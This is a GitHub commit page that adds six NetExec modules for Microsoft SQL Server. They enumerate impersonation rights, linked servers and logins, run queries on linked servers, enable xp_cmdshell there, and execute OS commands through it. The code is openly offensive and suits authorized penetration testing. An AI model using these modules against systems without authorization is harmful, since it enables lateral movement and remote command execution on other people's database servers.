Skip to content

Commit

Permalink
Merge branch 'main' into ruff
Browse files Browse the repository at this point in the history
  • Loading branch information
mpgn authored Dec 17, 2024
2 parents cb44d09 + a284b00 commit 277a78c
Show file tree
Hide file tree
Showing 6 changed files with 271 additions and 0 deletions.
45 changes: 45 additions & 0 deletions nxc/modules/enum_impersonate.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
#Author:
# deathflamingo
class NXCModule:
"""Enumerate SQL Server users with impersonation rights"""

name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.mssql_conn = None
self.context = None

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")

def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns:
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
39 changes: 39 additions & 0 deletions nxc/modules/enum_links.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#Author:
# deathflamingo
class NXCModule:
"""Enumerate SQL Server linked servers"""

name = "enum_links"
description = "Enumerate linked SQL Servers"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.mssql_conn = None
self.context = None

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")

def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns:
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
def options(self, context, module_options):
pass
39 changes: 39 additions & 0 deletions nxc/modules/enum_logins.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#Author:
# deathflamingo
class NXCModule:
"""Enumerate SQL Server logins"""

name = "enum_logins"
description = "Enumerate SQL Server logins"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.mssql_conn = None
self.context = None

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.success("Logins found:")
for login in logins:
self.context.log.display(f" - {login}")
else:
self.context.log.fail("No logins found.")

def get_logins(self) -> list:
"""
Fetches a list of SQL Server logins.
Returns:
-------
list: List of login names.
"""
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
res = self.mssql_conn.sql_query(query)
return [login["name"] for login in res] if res else []
def options(self, context, module_options):
pass
43 changes: 43 additions & 0 deletions nxc/modules/exec_on_link.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
#Author:
# deathflamingo
class NXCModule:
"""Execute commands on linked servers"""

name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False

def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None

def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return

self.execute_on_link()

def execute_on_link(self):
"""
Executes the specified command on the linked server.
"""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
62 changes: 62 additions & 0 deletions nxc/modules/link_enable_xp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
#Author:
# deathflamingo
class NXCModule:
"""Enable or disable xp_cmdshell on a linked SQL server"""

name = "link_enable_xp"
description = "Enable or disable xp_cmdshell on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False

def __init__(self):
self.action = None
self.linked_server = None

def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return

# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")

def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
out=self.query_and_get_output(query)
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
out=self.query_and_get_output(query)
self.context.log.display(out)
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")

def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
self.query_and_get_output(query)
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")

def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
43 changes: 43 additions & 0 deletions nxc/modules/link_xpcmd.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
#Author:
# deathflamingo
class NXCModule:
"""Run xp_cmdshell commands on a linked SQL server"""

name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False

def __init__(self):
self.linked_server = None
self.command = None

def options(self, context, module_options):
"""
Defines the options for running xp_cmdshell commands on a linked server.
LINKED_SERVER The name of the linked SQL server to target.
CMD The command to run via xp_cmdshell.
"""
self.linked_server = module_options.get("LINKED_SERVER")
self.command = module_options.get("CMD")

def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return

self.run_xp_cmdshell(self.command)

def run_xp_cmdshell(self, cmd):
"""Run the specified command via xp_cmdshell on the linked server."""
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
result = self.query_and_get_output(query)
self.context.log.success(f"Command output:\n{result}")

def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)

0 comments on commit 277a78c

Please sign in to comment.